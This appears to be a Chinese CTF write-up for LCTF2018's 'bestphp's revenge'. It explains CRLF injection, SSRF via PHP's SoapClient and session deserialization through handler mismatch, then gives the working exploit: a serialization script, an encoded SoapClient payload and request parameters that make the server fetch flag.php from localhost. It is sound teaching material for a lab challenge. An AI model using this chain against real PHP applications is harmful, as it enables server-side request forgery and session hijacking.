bestphp‘s revenge

知识点:SoapClient原生类ssrf,session反序列化,CRLF Injection漏洞

目录

  • CRLF Injection漏洞
  • SoapClient
  • session反序列化
  • 第一步
  • 第二步
    • 到这边可能有人会有个疑问,就是啥时候反序列化的?
  • 第三步
  • 参考:

CRLF Injection漏洞

首先要对HTTPheaders 和 HTTPbody 要有一些基本的了解,如图,它们之前用空行区分:
bestphp‘s revenge_第1张图片

CRLF是”回车+换行”(\r\n)的简称。在HTTP协议中,HTTPHeader与HTTPBody是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP内容并显示出来。所以,一旦我们能够控制HTTP消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码,所以CRLFInjection又叫HTTPResponseSplitting,简称HRS。

简单来说
http请求遇到两个\r\n即%0d%0a,会将前半部分当做头部解析,而将剩下的部分当做体,当我们可以控制User-Agent的值时,头部可控,就可以注入crlf实现修改http请求包。

SoapClient

综述:

php在安装php-soap拓展后,可以反序列化原生类SoapClient,来发送http post请求。

必须调用SoapClient不存在的方法,触发SoapClient的__call魔术方法。

通过CRLF来添加请求体:SoapClient可以指定请求的user-agent头,通过添加换行符的形式来加入其他请求内容
----------------------------------------
原文链接:https://blog.csdn.net/solitudi/article/details/113588692

我们通过一个例子来看一下:

<?php
$a = new SoapClient(null,array('user_agent'=>'succ3\r\nContent-Type:application/x-www-form-urlencoded','uri'=>'bbb', 'location'=>'http://xxx.xxx.xxx.xxx:9328'));
$b = serialize($a);
$c = unserialize($b);
$c -> not_a_function();//调用不存在的方法,让SoapClient调用__call
?>

通过请求头我们可以详细的看到我们通过改user_agent的值并添加\r\n换行来构造我们的pop

Connection received on LAPTOP-LI8JDAVV.mshome.net 55947
POST / HTTP/1.1
Host: xxx.xxx.xx.xx:9328
Connection: Keep-Alive
User-Agent: succ3
Content-Type:application/x-www-form-urlencoded
Content-Type: text/xml; charset=utf-8
SOAPAction: "bbb#not_a_function"
Content-Length: 377

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="bbb" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:not_a_function/></SOAP-ENV:Body></SOAP-ENV:Envelope>

类似的题目:ctfshow-259,以及wp

session反序列化

Directive 含义
session.save_path session保存路径。
session.serialize_handler session序列化存储所用处理器。默认为php。
session.upload_progress.cleanup 一旦读取了所有POST数据,立即清除进度信息。默认开启
session.upload_progress.enabled 将上传文件的进度信息存在session中。默认开启。

我们先通过一个样例代码,看看3种不同的 session 序列化处理器处理 session 的情况。


session_start();
$_SESSION['name'] = 'mochazz';
?>

session.serialize_handler=php 时,session文件内容为: name|s:7:"mochazz";

session.serialize_handler=php_serialize 时,session文件为: a:1:{s:4:"name";s:7:"mochazz";}

session.serialize_handler=php_binary 时,session文件内容为: 二进制字符names:7:"mochazz";

而当session反序列化和序列化时候使用不同引擎的时候,即可触发漏洞

php引擎会以|作为作为key和value的分隔符,我们在传入内容的时候,比如传入:
$_SESSION['name'] = '|username'

那么使用php_serialize引擎时可以得到序列化内容

a:1:{s:4:"name";s:4:"|username";}

在由php引擎反序列化的时候

a:1:{s:4:"name";s:4:"被当作key
username被当作value反序列化


highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
//第二个参数固定为$_POST数组,很容易便想到利用 extract 函数进行变量覆盖,以便配合后续利用
session_start();
if (isset($_GET['name'])) {
    $_SESSION['name'] = $_GET['name'];
}   //存在 session 伪造漏洞,可以考虑是否可以包含 session 文件或者利用 session 反序列化漏洞
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
//reset 将 array 的内部指针倒回到第一个单元并返回第一个数组单元的值。
call_user_func($b, $a);
?>
array(0) { }


//flag.php  (扫目录)
only localhost can get flag!session_start();
//提示我们只有本地能访问到flag
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
       $_SESSION['flag'] = $flag;
   }
only localhost can get flag!

flag.php告诉我们只有127.0.0.1请求该页面,才能够读flag,也就是服务端请求伪造 SSRF,可以用 SoapClient 的 __call 方法来进行 SSRF

第一步

由于 PHP 中的原生 SoapClient 类存在 CRLF 漏洞,所以我们可以伪造任意 header ,构造 SoapClient 类,并用php_serialize引擎进行序列化,存入session

PHP 7 中 session_start () 函数可以接收一个数组作为参数,
可以覆盖 php.ini 中 session 的配置项。
这个特性也引入了一个新的 php.ini 设置(session.lazy_write)

因为我们要用session漏洞反序列化,且因为session默认引擎是php,所以我们要借用上面那个定义,来指定存入session的引擎为php_serialize。

构造header的exp


$target='http://127.0.0.1/flag.php';
$b = new SoapClient(null,
    array(
        'location' => $target,
        'user_agent' => "succ3\r\nCookie:PHPSESSID=123456\r\n",
        'uri' => "http://127.0.0.1/"
    )
);

$se = serialize($b);
echo "|".urlencode($se);
//注意,这个脚本想要执行,需要将php.ini里的 php_soap.dll 前面的分号去掉
//我用的是xp.小皮,只要开启soap扩展就可以了。

这样的话,因为是以php_serialize存入的,在反序列的时候默认引擎php在解析时,会把下面|后面的值当作反序列化的值。

|O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A32%3A%22succ3%0D%0ACookie%3APHPSESSID%3D123456%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

bestphp‘s revenge_第2张图片

第二步

通过变量覆盖,调用SoapClient类,从而触发__call 方法

传值:

GET:f=extract&name=SoapClient 
POST:b=call_user_func

这样 call_user_func($b,$a)就变成call_user_func('call_user_func',array('SoapClient','welcome_to_the_lctf2018')) ,即调用 SoapClient 类不存在的 welcome_to_the_lctf2018 方法,从而触发 __call 方法发起 soap 请求进行 SSRF 。
bestphp‘s revenge_第3张图片

到这边可能有人会有个疑问,就是啥时候反序列化的?

在解释前,我们先了解一下session的存储:

php中的session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler来进行确定的,默认是以文件的方式存储。
存储的文件是以sess_sessionid来进行命名的,文件的内容就是session值的序列话之后的内容。

在上一步我们存入了session,它在存的时候是以序列化后的样子,存入文件,在这一步的时候调用session,就会自动对他进行反序列化。

第三步

将PHPSESSID改为我们在SoapClient类里设置的123456即可得到flag。

改PHPSESSID的原因:
前两步的目的就是伪造一个服务端请求,用来访问flag。

这边的PHPSESSID为我们在服务段伪造请求后的,也就是在服务端访问flag文件后带flag的会话。
bestphp‘s revenge_第4张图片
攻击流程图:链接
bestphp‘s revenge_第5张图片

参考:

Mochazz’s blog
npfs’s blog

你可能感兴趣的:(BUUCTF)